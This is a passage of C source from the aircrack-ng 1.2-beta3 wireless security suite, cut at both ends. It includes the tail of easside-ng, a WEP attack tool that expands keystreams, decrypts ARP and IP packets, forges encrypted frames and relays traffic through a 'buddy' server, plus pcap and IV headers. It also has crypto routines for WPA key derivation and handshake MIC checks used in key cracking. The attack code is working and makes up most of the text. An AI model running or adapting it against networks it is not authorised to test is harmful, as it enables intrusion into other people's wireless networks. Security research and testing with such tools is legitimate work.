wh, sizeof(*wh) + dlen); } void redirect(struct east_state *es, struct timeval *tv) { struct rpacket *rp = get_head(es); if (!rp) return; if (too_early(tv, es->es_txto_redirect, &es->es_txlast)) return; es->es_txseq++; printf("Redirecting packet id %d len %d [qlen %d]\n", rp->rp_id, rp->rp_len, queue_len(es)); /* rtt */ if (!es->es_rtt_id || (es->es_rtt_id = rp->rp_id)) { es->es_rtt_id = rp->rp_id; if (gettimeofday(&es->es_rtt, NULL) == -1) err(1, "gettimeofday()"); } /* fire fragz */ redirect_sendip(es, rp); usleep(1*1000); redirect_sendfrag(es, rp); } void associated(struct east_state *es, struct timeval *tv) { switch (es->es_astate) { case AS_NOPRGA: break; case AS_PRGA_EXPAND: expand_prga(es, tv); break; case AS_FIND_IP: find_ip(es, tv); break; case AS_DECRYPT_ARP: decrypt_arp(es, tv); break; case AS_DECRYPT_IP: decrypt_ip(es, tv); break; case AS_FIND_RTR_MAC: send_whohas(es, tv); break; case AS_CHECK_INET: check_inet(es, tv); break; case AS_REDIRECT: redirect(es, tv); break; default: abort(); break; } } void buddy_inet_check(struct east_state *es) { struct { struct in_addr addr; unsigned short id; } __packed data; struct timeval now; int rtt; assert(sizeof(data) == 6); if (recv(es->es_buddys, &data, sizeof(data), 0) != sizeof(data)) err(1, "buddy_inet_check: recv()"); if (es->es_astate != AS_CHECK_INET) return; memcpy(&es->es_pubip, &data.addr, sizeof(es->es_pubip)); printf("Internet w0rx. Public IP %s\n", inet_ntoa(es->es_pubip)); data.id = ntohs(data.id); if (data.id != es->es_rpacket_id) { printf("seq doesn't match %d %d\n", data.id, es->es_rpacket_id); return; } if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()"); rtt = msec_diff(&now, &es->es_rtt); es->es_astate = AS_REDIRECT; printf("Rtt %dms\n", rtt); if (es->es_iponly) reset(es); } void buddy_packet(struct east_state *es) { unsigned char buf[2048]; unsigned short *p = (unsigned short*) buf; unsigned short id, len; struct rpacket *rp; struct ieee80211_frame *wh; unsigned char *ptr; int got = 0; int rc; if ((rc = recv(es->es_buddys, buf, 4, 0)) != 4) { if (rc == -1) err(1, "buddy_packet: recv() id & len"); printf("buddy_packet: recv id len got %d/%d\n", rc, 4); exit(1); } id = ntohs(*p); p++; len = ntohs(*p); p++; assert(len+6 <= (int) sizeof(buf)); ptr = &buf[6]; got = 0; while (got != len) { int rem = len - got; rc = recv(es->es_buddys, ptr, rem, 0); if (rc == -1) err(1, "buddy_packet: recv() packet"); got += rc; ptr += rc; } if (es->es_astate != AS_REDIRECT) return; printf_time("Got packet %d", id); if (es->es_rtt_id == id) { struct timeval now; int rtt; if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()"); rtt = msec_diff(&now, &es->es_rtt); es->es_rtt_id = 0; printf(" rtt %dms", rtt); if (es->es_srtt == 0) es->es_srtt = rtt; else { es->es_srtt += rtt; es->es_srtt >>= 1; } if (es->es_srtt == 0) es->es_srtt = 1; es->es_txto_redirect = es->es_srtt << 1; if (es->es_txto_redirect < S_MIN_RTO) es->es_txto_redirect = S_MIN_RTO; printf(" srtt %dms rto %dms", es->es_srtt, es->es_txto_redirect); } rp = get_packet(es, id); if (!rp) { printf(" [not in queue]\n"); return; } wh = (struct ieee80211_frame*) rp->rp_packet; memcpy(buf, get_da(wh), 6); memcpy(&buf[6], get_sa(wh), 6); len += 6; if (ti_write(es->es_ti, buf, len) != len) err(1, "ti_write()"); remove_packet(es, id); printf(" qlen %d\n", queue_len(es)); clear_timeout(es); } void read_buddy(struct east_state *es) { unsigned short cmd; int rc; rc = recv(es->es_buddys, &cmd, sizeof(cmd), 0); if (rc != sizeof(cmd)) err(1, "read_buddy: can't get cmd\n"); cmd = ntohs(cmd); switch (cmd) { case S_CMD_INET_CHECK: buddy_inet_check(es); break; case S_CMD_PACKET: buddy_packet(es); break; default: abort(); break; } } void read_tap(struct east_state *es) { unsigned char buf[2048]; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; unsigned char *data = (unsigned char*) (wh+1); int dlen; unsigned char *datas; unsigned char dst[6]; struct timeval old; memset(buf, 0, sizeof(buf)); dlen = ti_read(es->es_ti, data-2, S_MTU+14); if (dlen == -1) err(1, "ti_read()"); memcpy(dst, data-2, 6); /* 802.11 header */ es->es_txseq++; fill_basic(es, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA; wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP; memcpy(wh->i_addr3, dst, 6); /* iv */ memcpy(data, es->es_iv, 3); data[3] = 0; data += 4; datas = data; /* llc snap */ memcpy(data, S_LLC_SNAP, 6); data += 8; dlen = dlen - 14 + 8; put_crc32(datas, dlen); assert(es->es_prgalen >= dlen + 4); xor(datas, datas, es->es_prga, dlen + 4); printf_time("Sending frame from tap %d\n", dlen); old = es->es_txlast; send_frame(es, wh, sizeof(*wh) + 4 + dlen + 4); es->es_txlast = old; } void own(struct east_state *es) { fd_set rfds; struct timeval tv, *tvp; int maxfd; if (es->es_prgalen) es->es_astate = AS_PRGA_EXPAND; if (es->es_prgalen == sizeof(es->es_prga)) es->es_astate = AS_FIND_IP; for (;;) { FD_ZERO(&rfds); maxfd = wi_fd(es->es_wi); FD_SET(maxfd, &rfds); memset(&tv, 0, sizeof(tv)); tvp = NULL; if (es->es_buddys) { FD_SET(es->es_buddys, &rfds); if (es->es_buddys > maxfd) maxfd = es->es_buddys; } if (es->es_astate > AS_PRGA_EXPAND && es->es_state == S_ASSOCIATED) { int tapfd = ti_fd(es->es_ti); FD_SET(tapfd, &rfds); if (tapfd > maxfd) maxfd = tapfd; } switch (es->es_state) { case S_SEARCHING: if (!es->es_chanlock) chan_hop(es, &tv); break; case S_SENDAUTH: send_auth(es, &tv); break; case S_SENDASSOC: send_assoc(es, &tv); break; case S_ASSOCIATED: associated(es, &tv); break; default: abort(); break; } if (tv.tv_sec || tv.tv_usec) tvp = &tv; if (select(maxfd+1, &rfds, NULL, NULL, tvp) == -1) err(1, "select()"); if (FD_ISSET(wi_fd(es->es_wi), &rfds)) { read_wifi(es); } if (es->es_buddys && FD_ISSET(es->es_buddys, &rfds)) read_buddy(es); if (FD_ISSET(ti_fd(es->es_ti), &rfds)) read_tap(es); } } void usage(char *p) { if (p) {} printf("\n" " %s - (C) 2007, 2008, 2009 Andrea Bittau\n" " http://www.aircrack-ng.org\n" "\n" " Usage: easside-ng \n" "\n" " Options:\n" "\n" " -h : This help screen\n" " -v : Victim BSSID\n" " -m : Source MAC address\n" " -i : Source IP address\n" " -r : Router IP address\n" " -s : Buddy-ng IP address (mandatory)\n" " -f : Interface to use (mandatory)\n" " -c : Lock card to this channel\n" " -n : Determine Internet IP only\n" "\n", getVersion("Easside-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)); } void load_prga(struct east_state *es) { int fd; int rc; fd = open(S_PRGA_LOG, O_RDONLY); if (fd == -1) return; rc = read(fd, es->es_iv, 3); if (rc != 3) { printf("Can't read IV from %s\n", S_PRGA_LOG); exit(1); } rc = read(fd, es->es_prga, sizeof(es->es_prga)); if (rc == -1) err(1, "load_prga: read()"); es->es_prgalen = rc; close(fd); printf("Loaded %d PRGA bytes from %s\n", es->es_prgalen, S_PRGA_LOG); } int main(int argc, char *argv[]) { int ch; struct east_state *es = &_es; init_defaults(es); while ((ch = getopt(argc, argv, "hv:m:i:r:s:f:nc:")) != -1) { switch (ch) { case 'c': es->es_chanlock = atoi(optarg); break; case 'f': strncpy(es->es_ifname, optarg, sizeof(es->es_ifname)-1); es->es_ifname[sizeof(es->es_ifname)-1] = 0; break; case 'v': if (str2mac(es->es_apmac, optarg) == -1) { printf("Can't parse AP mac\n"); exit(1); } break; case 'm': if (str2mac(es->es_mymac, optarg) == -1) { printf("Can't parse my mac\n"); exit(1); } es->es_setmac = 1; break; case 'i': if (!inet_aton(optarg, &es->es_myip)) { printf("Can't parse my ip\n"); exit(1); } break; case 'r': if (!inet_aton(optarg, &es->es_rtrip)) { printf("Can't parse rtr ip\n"); exit(1); } break; case 's': if (!inet_aton(optarg, &es->es_srvip)) { printf("Can't parse srv ip\n"); exit(1); } break; case 'n': es->es_iponly = 1; break; case 'h': default: usage(argv[0]); exit(0); } } if (es->es_srvip.s_addr == 0) { printf("Need at least server IP\n"); usage(argv[0]); exit(0); } load_prga(es); open_wifi(es); open_tap(es); set_mac(es); if (es->es_chanlock) set_chan(es); if (signal(SIGINT, sighand) == SIG_ERR) err(1, "signal(SIGINT)"); if (signal(SIGTERM, sighand) == SIG_ERR) err(1, "signal(SIGTERM)"); printf_time("Ownin...\n"); own(es); die("the end"); exit(0); } aircrack-ng-1.2-beta3/src/uniqueiv.h0000644000000000000000000000437711736423715016060 0ustar rootroot/* * 802.11 WEP / WPA-PSK Key Cracker * * Copyright (C) 2007-2012 Martin Beck * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef _UNIQUEIV_H #define _UNIQUEIV_H #define IV_NOTHERE 0 #define IV_PRESENT 1 /* select byte within which desired bit is located */ #define BITWISE_OFFT(x) (x >> 3) /* mask to extract desired bit */ #define BITWISE_MASK(x) (1 << (x & 7)) unsigned char **uniqueiv_init( void ); int uniqueiv_mark( unsigned char **uiv_root, unsigned char IV[3] ); int uniqueiv_check( unsigned char **uiv_root, unsigned char IV[3] ); void uniqueiv_wipe( unsigned char **uiv_root ); #define NO_CLOAKING 0 #define CLOAKING 1 unsigned char *data_init( void ); int data_check(unsigned char *data_root, unsigned char IV[3], unsigned char data[2]); void data_wipe(unsigned char * data); #endif aircrack-ng-1.2-beta3/src/pcap.h0000644000000000000000000000651111714761303015120 0ustar rootroot/* * * Copyright (C) 2001-2004 Christophe Devine * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. If you * do not wish to do so, delete this exception statement from your * version. If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef _AIRCRACK_NG_PCAP_H_ #define _AIRCRACK_NG_PCAP_H_ #define FORMAT_CAP 1 #define FORMAT_IVS 2 #define FORMAT_IVS2 3 #define TCPDUMP_MAGIC 0xA1B2C3D4 #define TCPDUMP_CIGAM 0xD4C3B2A1 #define IVSONLY_MAGIC "\xBF\xCA\x84\xD4" #define IVS2_MAGIC "\xAE\x78\xD1\xFF" #define IVS2_EXTENSION "ivs" #define IVS2_VERSION 1 #define PCAP_VERSION_MAJOR 2 #define PCAP_VERSION_MINOR 4 #define LINKTYPE_ETHERNET 1 #define LINKTYPE_IEEE802_11 105 #define LINKTYPE_PRISM_HEADER 119 #define LINKTYPE_RADIOTAP_HDR 127 #define LINKTYPE_PPI_HDR 192 #define uchar unsigned char #define ushort unsigned short #define uint unsigned int #define ulong unsigned long //BSSID const. length of 6 bytes; can be together with all the other types #define IVS2_BSSID 0x0001 //ESSID var. length; alone, or with BSSID #define IVS2_ESSID 0x0002 //wpa structure, const. length; alone, or with BSSID #define IVS2_WPA 0x0004 //IV+IDX+KEYSTREAM, var. length; alone or with BSSID #define IVS2_XOR 0x0008 /* [IV+IDX][i][l][XOR_1]..[XOR_i][weight] * * holds i possible keystreams for the same IV with a length of l for each keystream (l max 32) * * and an array "int weight[16]" at the end */ #define IVS2_PTW 0x0010 //unencrypted packet #define IVS2_CLR 0x0020 struct pcap_file_header { uint magic; ushort version_major; ushort version_minor; int thiszone; uint sigfigs; uint snaplen; uint linktype; }; struct pcap_pkthdr { int tv_sec; int tv_usec; uint caplen; uint len; }; struct ivs2_filehdr { unsigned short version; }; struct ivs2_pkthdr { unsigned short flags; unsigned short len; }; #endif /* common.h */ aircrack-ng-1.2-beta3/src/crypto.c0000644000000000000000000012003212240603005015470 0ustar rootroot/* * MD5, SHA-1, RC4 and AES implementations * * Copyright (C) 2001-2004 Christophe Devine * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. If you * do not wish to do so, delete this exception statement from your * version. If you delete this exception statement from all source * files in the program, then also delete it here. */ #include #include #include #include #include "crypto.h" #include "crctable.h" #include "aircrack-ng.h" #define GET_UINT32_LE(n,b,i) \ { \ (n) = ( (uint32) (b)[(i) ] ) \ | ( (uint32) (b)[(i) + 1] << 8 ) \ | ( (uint32) (b)[(i) + 2] << 16 ) \ | ( (uint32) (b)[(i) + 3] << 24 ); \ } #define PUT_UINT32_LE(n,b,i) \ { \ (b)[(i) ] = (uint8) ( (n) ); \ (b)[(i) + 1] = (uint8) ( (n) >> 8 ); \ (b)[(i) + 2] = (uint8) ( (n) >> 16 ); \ (b)[(i) + 3] = (uint8) ( (n) >> 24 ); \ } #define GET_UINT32_BE(n,b,i) \ { \ (n) = ( (uint32) (b)[(i) ] << 24 ) \ | ( (uint32) (b)[(i) + 1] << 16 ) \ | ( (uint32) (b)[(i) + 2] << 8 ) \ | ( (uint32) (b)[(i) + 3] ); \ } #define PUT_UINT32_BE(n,b,i) \ { \ (b)[(i) ] = (uint8) ( (n) >> 24 ); \ (b)[(i) + 1] = (uint8) ( (n) >> 16 ); \ (b)[(i) + 2] = (uint8) ( (n) >> 8 ); \ (b)[(i) + 3] = (uint8) ( (n) ); \ } static uchar ZERO[32] = "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00"; /* RC4 encryption/ WEP decryption check */ /* SSL decryption */ int encrypt_wep( uchar *data, int len, uchar *key, int keylen ) { RC4_KEY S; RC4_set_key( &S, keylen, key ); RC4( &S, len, data, data ); return ( 0 ); } int decrypt_wep( uchar *data, int len, uchar *key, int keylen ) { encrypt_wep (data,len,key,keylen); return( check_crc_buf( data, len - 4 ) ); } /* An implementation of the ARC4 algorithm */ void rc4_setup( struct rc4_state *s, unsigned char *key, int length ) { int i, j, k, *m, a; s->x = 0; s->y = 0; m = s->m; for( i = 0; i < 256; i++ ) { m[i] = i; } j = k = 0; for(i=0 ; i < 256; i++ ) { a = m[i]; j = (unsigned char) ( j + a + key[k] ); m[i] = m[j]; m[j] = a; if( ++k >= length ) k = 0; } } void rc4_crypt( struct rc4_state *s, unsigned char *data, int length ) { int i, x, y, *m, a, b; x = s->x; y = s->y; m = s->m; for( i = 0; i < length; i++ ) { x = (unsigned char) ( x + 1 ); a = m[x]; y = (unsigned char) ( y + a ); m[x] = b = m[y]; m[y] = a; data[i] ^= m[(unsigned char) ( a + b )]; } s->x = x; s->y = y; } /* WEP (barebone RC4) en-/decryption routines */ /* int encrypt_wep( uchar *data, int len, uchar *key, int keylen ) { struct rc4_state S; rc4_setup( &S, key, keylen ); rc4_crypt( &S, data, len ); return( 0 ); } int decrypt_wep( uchar *data, int len, uchar *key, int keylen ) { struct rc4_state S; rc4_setup( &S, key, keylen ); rc4_crypt( &S, data, len ); return( check_crc_buf( data, len - 4 ) ); } */ /* derive the PMK from the passphrase and the essid */ void calc_pmk( char *key, char *essid_pre, uchar pmk[40] ) { int i, j, slen; uchar buffer[65]; char essid[33+4]; SHA_CTX ctx_ipad; SHA_CTX ctx_opad; SHA_CTX sha1_ctx; memset(essid, 0, sizeof(essid)); memcpy(essid, essid_pre, strlen(essid_pre)); slen = strlen( essid ) + 4; /* setup the inner and outer contexts */ memset( buffer, 0, sizeof( buffer ) ); strncpy( (char *) buffer, key, sizeof( buffer ) - 1 ); for( i = 0; i < 64; i++ ) buffer[i] ^= 0x36; SHA1_Init( &ctx_ipad ); SHA1_Update( &ctx_ipad, buffer, 64 ); for( i = 0; i < 64; i++ ) buffer[i] ^= 0x6A; SHA1_Init( &ctx_opad ); SHA1_Update( &ctx_opad, buffer, 64 ); /* iterate HMAC-SHA1 over itself 8192 times */ essid[slen - 1] = '\1'; HMAC(EVP_sha1(), (uchar *)key, strlen(key), (uchar*)essid, slen, pmk, NULL); memcpy( buffer, pmk, 20 ); for( i = 1; i < 4096; i++ ) { memcpy( &sha1_ctx, &ctx_ipad, sizeof( sha1_ctx ) ); SHA1_Update( &sha1_ctx, buffer, 20 ); SHA1_Final( buffer, &sha1_ctx ); memcpy( &sha1_ctx, &ctx_opad, sizeof( sha1_ctx ) ); SHA1_Update( &sha1_ctx, buffer, 20 ); SHA1_Final( buffer, &sha1_ctx ); for( j = 0; j < 20; j++ ) pmk[j] ^= buffer[j]; } essid[slen - 1] = '\2'; HMAC(EVP_sha1(), (uchar *)key, strlen(key), (uchar*)essid, slen, pmk+20, NULL); memcpy( buffer, pmk + 20, 20 ); for( i = 1; i < 4096; i++ ) { memcpy( &sha1_ctx, &ctx_ipad, sizeof( sha1_ctx ) ); SHA1_Update( &sha1_ctx, buffer, 20 ); SHA1_Final( buffer, &sha1_ctx ); memcpy( &sha1_ctx, &ctx_opad, sizeof( sha1_ctx ) ); SHA1_Update( &sha1_ctx, buffer, 20 ); SHA1_Final( buffer, &sha1_ctx ); for( j = 0; j < 20; j++ ) pmk[j + 20] ^= buffer[j]; } } // void calc_ptk (struct WPA_hdsk *wpa, unsigned char bssid[6], unsigned char pmk[32], unsigned char ptk[80]) { // int i; // uchar pke[100]; // HMAC_CTX ctx; // // memcpy( pke, "Pairwise key expansion", 23 ); // // if( memcmp( wpa->stmac, bssid, 6 ) < 0 ) // { // memcpy( pke + 23, wpa->stmac, 6 ); // memcpy( pke + 29, bssid, 6 ); // } // else // { // memcpy( pke + 23, bssid, 6 ); // memcpy( pke + 29, wpa->stmac, 6 ); // } // // if( memcmp( wpa->snonce, wpa->anonce, 32 ) < 0 ) // { // memcpy( pke + 35, wpa->snonce, 32 ); // memcpy( pke + 67, wpa->anonce, 32 ); // } // else // { // memcpy( pke + 35, wpa->anonce, 32 ); // memcpy( pke + 67, wpa->snonce, 32 ); // } // // HMAC_CTX_init(&ctx); // HMAC_Init_ex(&ctx, pmk, 32, EVP_sha1(), NULL); // for(i = 0; i < 4; i++ ) // { // pke[99] = i; // //HMAC(EVP_sha1(), values[0], 32, pke, 100, ptk + i * 20, NULL); // HMAC_Init_ex(&ctx, 0, 0, 0, 0); // HMAC_Update(&ctx, pke, 100); // HMAC_Final(&ctx, ptk + i*20, NULL); // } // HMAC_CTX_cleanup(&ctx); // } void calc_mic (struct AP_info *ap, unsigned char pmk[32], unsigned char ptk[80], unsigned char mic[20]) { int i; uchar pke[100]; HMAC_CTX ctx; memcpy( pke, "Pairwise key expansion", 23 ); if( memcmp( ap->wpa.stmac, ap->bssid, 6 ) < 0 ) { memcpy( pke + 23, ap->wpa.stmac, 6 ); memcpy( pke + 29, ap->bssid, 6 ); } else { memcpy( pke + 23, ap->bssid, 6 ); memcpy( pke + 29, ap->wpa.stmac, 6 ); } if( memcmp( ap->wpa.snonce, ap->wpa.anonce, 32 ) < 0 ) { memcpy( pke + 35, ap->wpa.snonce, 32 ); memcpy( pke + 67, ap->wpa.anonce, 32 ); } else { memcpy( pke + 35, ap->wpa.anonce, 32 ); memcpy( pke + 67, ap->wpa.snonce, 32 ); } HMAC_CTX_init(&ctx); HMAC_Init_ex(&ctx, pmk, 32, EVP_sha1(), NULL); for(i = 0; i < 4; i++ ) { pke[99] = i; //HMAC(EVP_sha1(), values[0], 32, pke, 100, ptk + i * 20, NULL); HMAC_Init_ex(&ctx, 0, 0, 0, 0); HMAC_Update(&ctx, pke, 100); HMAC_Final(&ctx, ptk + i*20, NULL); } HMAC_CTX_cleanup(&ctx); if( ap->wpa.keyver == 1 ) { HMAC(EVP_md5(), ptk, 16, ap->wpa.eapol, ap->wpa.eapol_size, mic, NULL); } else { HMAC(EVP_sha1(), ptk, 16, ap->wpa.eapol, ap->wpa.eapol_size, mic, NULL); } } unsigned long calc_crc( unsigned char * buf, int len) { unsigned long crc = 0xFFFFFFFF; for( ; len > 0; len--, buf++ ) crc = crc_tbl[(crc ^ *buf) & 0xFF] ^ ( crc >> 8 ); return( ~crc ); } //without inversion, must be used for bit flipping attacks unsigned long calc_crc_plain( unsigned char * buf, int len) { unsigned long crc = 0x00000000; for( ; len > 0; len--, buf++ ) crc = crc_tbl[(crc ^ *buf) & 0xFF] ^ ( crc >> 8 ); return( crc ); } /* CRC checksum verification routine */ int check_crc_buf( unsigned char *buf, int len ) { unsigned long crc; crc = calc_crc(buf, len); buf+=len; return( ( ( crc ) & 0xFF ) == buf[0] && ( ( crc >> 8 ) & 0xFF ) == buf[1] && ( ( crc >> 16 ) & 0xFF ) == buf[2] && ( ( crc >> 24 ) & 0xFF ) == buf[3] ); } /* Add CRC32 */ int add_crc32(unsigned char* data, int length) { unsigned long crc; crc = calc_crc(data, length); data[length] = (crc ) & 0xFF; data[length+1] = (crc >> 8) & 0xFF; data[length+2] = (crc >> 16) & 0xFF; data[length+3] = (crc >> 24) & 0xFF; return 0; } int add_crc32_plain(unsigned char* data, int length) { unsigned long crc; crc = calc_crc_plain(data, length); data[length] = (crc ) & 0xFF; data[length+1] = (crc >> 8) & 0xFF; data[length+2] = (crc >> 16) & 0xFF; data[length+3] = (crc >> 24) & 0xFF; return 0; } int calc_crc_buf( unsigned char *buf, int len ) { return (calc_crc(buf, len)); } void *get_da(unsigned char *wh) { if (wh[1] & IEEE80211_FC1_DIR_FROMDS) return wh + 4; else return wh + 4 + 6*2; } void *get_sa(unsigned char *wh) { if (wh[1] & IEEE80211_FC1_DIR_FROMDS) return wh + 4 + 6*2; else return wh + 4 + 6; } int is_ipv6(void *wh) { if(memcmp(wh+4, "\x33\x33", 2) == 0 || memcmp(wh+16, "\x33\x33", 2) == 0) return 1; return 0; } int is_dhcp_discover(void *wh, int len) { if( (memcmp(wh+4, BROADCAST, 6) == 0 || memcmp(wh+16, BROADCAST, 6) == 0) && (len >= 360 - 24 - 4 - 4 && len <= 380 - 24 - 4 - 4 ) ) return 1; return 0; } int is_arp(void *wh, int len) { int arpsize = 8 + 8 + 10*2; if(wh) {} /* remove non BROADCAST frames? could be anything, but * chances are good that we got an arp response tho. */ if (len == arpsize || len == 54) return 1; return 0; } int is_wlccp(void *wh, int len) { int wlccpsize = 58; if(wh) {} if (len == wlccpsize) return 1; return 0; } int is_qos_arp_tkip(void *wh, int len) { unsigned char *packet = (unsigned char*) wh; int qosarpsize = (24 + 2) + 8 + (8 + (8 + 10*2)) + 8 + 4; //82 in total if((packet[1] & 3) == 1) //to ds { if (len == qosarpsize) //always wireless return 1; } if((packet[1] & 3) == 2) //from ds { if (len == qosarpsize || len == qosarpsize + 18) //wireless or padded wired return 1; } return 0; } int is_spantree(void *wh) { if ( wh != NULL && (memcmp( wh + 4, SPANTREE, 6 ) == 0 || memcmp( wh + 16, SPANTREE, 6 ) == 0 )) return 1; return 0; } int is_cdp_vtp(void *wh) { if ( memcmp( wh + 4, CDP_VTP, 6 ) == 0 || memcmp( wh + 16, CDP_VTP, 6 ) == 0 ) return 1; return 0; } /* weight is used for guesswork in PTW. Can be null if known_clear is not for * PTW, but just for getting known clear-text. */ int known_clear(void *clear, int *clen, int *weight, unsigned char *wh, int len) { unsigned char *ptr = clear; int num; if(is_arp(wh, len)) /*arp*/ { len = sizeof(S_LLC_SNAP_ARP) - 1; memcpy(ptr, S_LLC_SNAP_ARP, len); ptr += len; /* arp hdr */ len = 6; memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len); ptr += len; /* type of arp */ len = 2; if (memcmp(get_da(wh), "\xff\xff\xff\xff\xff\xff", 6) == 0) memcpy(ptr, "\x00\x01", len); else memcpy(ptr, "\x00\x02", len); ptr += len; /* src mac */ len = 6; memcpy(ptr, get_sa(wh), len); ptr += len; len = ptr - ((unsigned char*)clear); *clen = len; if (weight) weight[0] = 256; return 1; } else if(is_wlccp(wh, len)) /*wlccp*/ { len = sizeof(S_LLC_SNAP_WLCCP) - 1; memcpy(ptr, S_LLC_SNAP_WLCCP, len); ptr += len; /* wlccp hdr */ len = 4; memcpy(ptr, "\x00\x32\x40\x01", len); ptr += len; /* dst mac */ len = 6; memcpy(ptr, get_da(wh), len); ptr += len; len = ptr - ((unsigned char*)clear); *clen = len; if (weight) weight[0] = 256; return 1; } else if(is_spantree(wh)) /*spantree*/ { len = sizeof(S_LLC_SNAP_SPANTREE) - 1; memcpy(ptr, S_LLC_SNAP_SPANTREE, len); ptr += len; len = ptr - ((unsigned char*)clear); *clen = len; if (weight) weight[0] = 256; return 1; } else if(is_cdp_vtp(wh)) /*spantree*/ { len = sizeof(S_LLC_SNAP_CDP) - 1; memcpy(ptr, S_LLC_SNAP_CDP, len); ptr += len; len = ptr - ((unsigned char*)clear); *clen = len; if (weight) weight[0] = 256; return 1; } else /* IP */ { unsigned short iplen = htons(len - 8); // printf("Assuming IP %d\n", len); len = sizeof(S_LLC_SNAP_IP) - 1; memcpy(ptr, S_LLC_SNAP_IP, len); ptr += len; #if 1 //version=4; header_length=20; services=0 len = 2; memcpy(ptr, "\x45\x00", len); ptr += len; //ip total length memcpy(ptr, &iplen, len); ptr += len; /* no guesswork */ if (!weight) { *clen = ptr - ((unsigned char*)clear); return 1; } #if 1 /* setting IP ID 0 is ok, as we * bruteforce it later */ //ID=0 len=2; memcpy(ptr, "\x00\x00", len); ptr += len; //ip flags=don't fragment len=2; memcpy(ptr, "\x40\x00", len); ptr += len; #endif #endif len = ptr - ((unsigned char*)clear); *clen = len; memcpy(clear+32, clear, len); memcpy(clear+32+14, "\x00\x00", 2); //ip flags=none num=2; assert(weight); weight[0] = 220; weight[1] = 36; return num; } *clen=0; return 1; } /* derive the pairwise transcient keys from a bunch of stuff */ int calc_ptk( struct WPA_ST_info *wpa, uchar pmk[32] ) { int i; uchar pke[100]; uchar mic[20]; memcpy( pke, "Pairwise key expansion", 23 ); if( memcmp( wpa->stmac, wpa->bssid, 6 ) < 0 ) { memcpy( pke + 23, wpa->stmac, 6 ); memcpy( pke + 29, wpa->bssid, 6 ); } else { memcpy( pke + 23, wpa->bssid, 6 ); memcpy( pke + 29, wpa->stmac, 6 ); } if( memcmp( wpa->snonce, wpa->anonce, 32 ) < 0 ) { memcpy( pke + 35, wpa->snonce, 32 ); memcpy( pke + 67, wpa->anonce, 32 ); } else { memcpy( pke + 35, wpa->anonce, 32 ); memcpy( pke + 67, wpa->snonce, 32 ); } for( i = 0; i < 4; i++ ) { pke[99] = i; HMAC(EVP_sha1(), pmk, 32, pke, 100, wpa->ptk + i * 20, NULL ); } /* check the EAPOL frame MIC */ if( ( wpa->keyver & 0x07 ) == 1 ) HMAC(EVP_md5(), wpa->ptk, 16, wpa->eapol, wpa->eapol_size, mic, NULL ); else HMAC(EVP_sha1(), wpa->ptk, 16, wpa->eapol, wpa->eapol_size, mic, NULL ); return( memcmp( mic, wpa->keymic, 16 ) == 0 ); } int init_michael(struct Michael *mic, uchar key[8]) { mic->key0 = key[0]<<0 | key[1]<<8 | key[2]<<16 | key[3]<<24; mic->key1 = key[4]<<0 | key[5]<<8 | key[6]<<16 | key[7]<<24; // and reset the message mic->left = mic->key0; mic->right = mic->key1; mic->nBytesInM = 0; mic->message = 0; return 0; } int michael_append_byte(struct Michael *mic, uchar byte) { mic->message |= (byte << (8*mic->nBytesInM)); mic->nBytesInM++; // Process the word if it is full. if( mic->nBytesInM >= 4 ) { mic->left ^= mic->message; mic->right ^= ROL32( mic->left, 17 ); mic->left += mic->right; mic->right ^= ((mic->left & 0xff00ff00) >> 8) | ((mic->left & 0x00ff00ff) << 8); mic->left += mic->right; mic->right ^= ROL32( mic->left, 3 ); mic->left += mic->right; mic->right ^= ROR32( mic->left, 2 ); mic->left += mic->right; // Clear the buffer mic->message = 0; mic->nBytesInM = 0; } return 0; } int 